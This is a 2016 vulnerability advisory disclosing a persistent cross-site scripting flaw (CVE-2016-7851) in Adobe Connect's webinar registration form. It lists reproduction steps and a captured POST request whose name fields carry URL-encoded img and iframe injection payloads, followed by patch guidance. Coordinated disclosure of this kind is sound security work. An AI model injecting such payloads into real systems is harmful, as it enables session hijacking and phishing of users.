Adobe Connect / Desktop 9.5.7 Script Insertion

`Document Title:  
===============  
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1838  
  
Security ID: PSIRT-5180  
  
Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html  
  
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851  
  
Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi  
  
  
CVE-ID:  
=======  
CVE-2016-7851  
  
  
Release Date:  
=============  
2016-11-09  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1838  
  
  
Common Vulnerability Scoring System:  
====================================  
3.7  
  
  
Product & Service Introduction:  
===============================  
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,  
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create  
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it  
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,  
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.  
  
(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)  
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)  
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)  
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)  
2016-11-08: Security Acknowledgements (Adobe Security Team)  
2016-11-09: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Adobe Systems  
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.  
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.  
  
The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request.   
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events   
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as   
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials   
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe   
connect and the execution point occurs in the email body context of the [email protected] email address.  
  
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.   
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources   
and persistent manipulation of affected or connected service module context.  
  
Request Method(s): Inject  
[+] POST  
  
Vulnerable Module(s):  
[+] Events - Webinar Registration Form  
  
Vulnerable File(s):  
[+] event_registration.html  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
[+] companyname  
  
Affected Module(s):  
[+] ([email protected])  
  
  
Proof of Concept (PoC):  
=======================  
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open your mailbox and click to the portals webinar email for administrators  
2. Surf to the signup registration of adobe connect next to the events reck  
3. Inject to the firstname, lastname and companyname your own script code payload  
4. Submit the POST request to get activated for the webinar to hackerone via adobe connect  
5. Check the local input of the registered account  
6. The script code payloads of the name values are replied by the email service without secure encode  
Note: The execution of the payloads occurs directly after the arrival and view  
7. Now choose in the email the link to the webinar that is connected to the name values  
8. Join the channel and write a message for interaction  
9. The code executes in several sections of the webinar adobe connect events service with persistent vector  
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!  
  
  
PoC: event_registration.html  
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;">   
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p>   
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p>   
</div>  
  
  
--- PoC Session Logs [POST] ---  
Status: 200[OK]  
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051   
Mime Type[text/html]  
Request Header:  
Host[events-na1.adobeconnect.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate, br]  
Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]  
Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]  
Connection[keep-alive]  
POST-Daten:  
2159915054[Yes]  
2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]  
2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]  
2159915057[adasfaf+asfasdfasfasfasdfsdfs]  
login[bkm%40evolution-sec.com]  
first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]  
last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]  
campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]  
sco-id[2159915051]  
reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]  
reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]  
action[event-register]  
_charset_[UTF-8]  
login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]  
set-lang[en]  
reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]  
Response Header:  
Connection[Keep-Alive]  
Server[Day-Servlet-Engine/4.1.24]  
Content-Type[text/html;charset=UTF-8]  
Date[Wed, 27 Apr 2016 08:56:07 GMT]  
Transfer-Encoding[chunked]  
Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect   
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect  
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]  
  
  
Reference(s):  
https://events-na1.adobeconnect.com/  
https://events-na1.adobeconnect.com/content/  
https://events-na1.adobeconnect.com/content/connect/  
https://events-na1.adobeconnect.com/content/connect/connect-action  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in   
the registration file POST method request.  
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.  
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.  
  
Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 9.5.7 windows desktop version.  
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html  
  
  
Security Risk:  
==============  
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]  
  
  
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=========================  
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